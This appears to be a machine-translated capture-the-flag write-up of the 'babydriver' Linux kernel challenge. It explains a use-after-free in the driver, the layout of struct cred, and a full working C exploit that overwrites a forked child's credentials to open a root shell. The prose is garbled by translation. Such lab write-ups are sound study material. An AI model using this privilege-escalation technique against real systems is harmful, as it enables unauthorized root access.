kernel uaf

analysis

Unpack and get babydriver.ko file ,

It's a little strange here , We need to understand about the driver file , He is resident in the kernel , Our program will open the file descriptor and close the read / write operation, which will be transferred to the corresponding function of the driver , We write user mode programs to operate , In fact, it is similar to calling these functions directly . Corresponding relationship ,

Specific relationships are generally checked data Part of the file_operations, Here are the common naming methods commonly encountered .

• open(“driver_name”, flag) => Xopen
• Write => Xwrite
• read => Xread
• Ioctl => Xioctl
• close(fd) => Xrelease

Then loading and unloading the driver will automatically call initexit Two functions .

Loophole

Simply analyze several functions , It is found that this driver mainly uses a babydevice_t Structure , Where the starting point and length are saved ,

Can pass read and write To read and write ,

adopt ioctl Resizing can be achieved ,

Every time open Will set this global variable .

close When you put this buf free fall , But the global variables are not cleared , There is one. uaf

We can open it twice at the same time , Share this global variable twice , When one of them closes , It can be achieved through another uaf The operation of

utilize

uaf The idea of using is to reuse the stack , Make a copy .

struct cred

Here is a means of raising rights ,linux The permission management of the next process is through cred The structure implements , The definition is as follows ：

// include/linux/cred.h
/* * The security context of a task * * The parts of the context break down into two categories: * * (1) The objective context of a task. These parts are used when some other * task is attempting to affect this one. * * (2) The subjective context. These details are used when the task is acting * upon another object, be that a file, a task, a key or whatever. * * Note that some members of this structure belong to both categories - the * LSM security pointer for instance. * * A task has two security pointers. task->real_cred points to the objective * context that defines that task's actual details. The objective part of this * context is used whenever that task is acted upon. * * task->cred points to the subjective context that defines the details of how * that task is going to act upon another object. This may be overridden * temporarily to point to another security context, but normally points to the * same context as task->real_cred. */
struct cred {
    
        atomic_t        usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
        atomic_t        subscribers;    /* number of processes subscribed */
        void            *put_addr;
        unsigned        magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
        kuid_t          uid;            /* real UID of the task */
        kgid_t          gid;            /* real GID of the task */
        kuid_t          suid;           /* saved UID of the task */
        kgid_t          sgid;           /* saved GID of the task */
        kuid_t          euid;           /* effective UID of the task */
        kgid_t          egid;           /* effective GID of the task */
        kuid_t          fsuid;          /* UID for VFS ops */
        kgid_t          fsgid;          /* GID for VFS ops */
        unsigned        securebits;     /* SUID-less security management */
        kernel_cap_t    cap_inheritable; /* caps our children can inherit */
        kernel_cap_t    cap_permitted;  /* caps we're permitted */
        kernel_cap_t    cap_effective;  /* caps we can actually use */
        kernel_cap_t    cap_bset;       /* capability bounding set */
        kernel_cap_t    cap_ambient;    /* Ambient capability set */
#ifdef CONFIG_KEYS
        unsigned char   jit_keyring;    /* default keyring to attach requested * keys to */
        struct key __rcu *session_keyring; /* keyring inherited over fork */
        struct key      *process_keyring; /* keyring private to this process */
        struct key      *thread_keyring; /* keyring private to this thread */
        struct key      *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
        void            *security;      /* subjective LSM security */
#endif
        struct user_struct *user;       /* real user ID subscription */
        struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
        struct group_info *group_info;  /* supplementary groups for euid/fsgid */
        struct rcu_head rcu;            /* RCU deletion hook */
};

among uid and gid Is currently in use , suid/sgid In fact, it is for possible existence uid-euid gid-egid Swap prepared cache locations , On the signal ipc Shared memory and other locations are actually verified euid/egid, fuid/fgid It is prepared for file access , But usually with euid/egid change , And in other unix In fact, this access verification also passes euid/egid Realized .

Actually linux Next, all programs are through the parent process fork from , Therefore, a process tree structure is formed ,fork Is to generate a new process from the parent process , The permissions of this new process are controlled cred The call chain generated by the structure is as follows ：

kernel/fork.c: _do_fork
	-> copy_process 
		-> kernel/cred.c: copy_cred
			-> prepare_cred

Then we decide In the corresponding version 4.4.7, The size and offset of this structure ：

Because it needs to be modified euid and egid, We calculate the next fsuid Distance of .

uaf utilize

First open two , adopt ioctl modify chunk size , Make it and cred The size of the structure is the same ,

then close One let it free, Can pass fd2 Realization uaf,

Conduct fork, At this time, relevant structures will be created , And that includes cred, At this time, it should be uaf Of buf Get this structure ,

0x3e8 Namely 1000, That is, ordinary user permissions uid

Then we use write You can modify this memory , Ahead of it 0x1c The size is changed to 0, From uid To euid All set to 0, namely root jurisdiction

[ Failed to transfer the external chain picture , The origin station may have anti-theft chain mechanism , It is suggested to save the pictures and upload them directly (img-JW0rKeRt-1644824034910)(/Users/wlz/Library/Application%20Support/typora-user-images/image-20220213161456476.png)]

At this time, the subprocess has got root jurisdiction ,

exp

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

int main(){
    
    int fd1 = open("/dev/babydev", O_RDWR);
    if (fd1 < 0){
    
        printf("open fd1 error\n");
        exit(-1);
    }
    printf("open 1 success!\n");
    int fd2 = open("/dev/babydev", O_RDWR);
    if (fd2 < 0){
    
        printf("open fd2 error\n");
        exit(-1);
    }
    printf("open 2 success!\n");

    ioctl(fd1, 0x10001, 0xa8);
    printf("set struct cred size\n");

    close(fd1);
    printf("close fd1, free 0xa8\n");

    if (fork() == 0){
    
        printf("fork!");
        int size = 0x1c;
        char buf[size];
        memset(buf, 0, size);
        write(fd2, buf, size);
        printf("write !");
        if (getuid() == 0){
    
            system("/bin/sh");
        }
        return 0;
    } else {
    
        printf("hello world\n");
         waitpid(-1, NULL, 0);
    }
    return 0;
}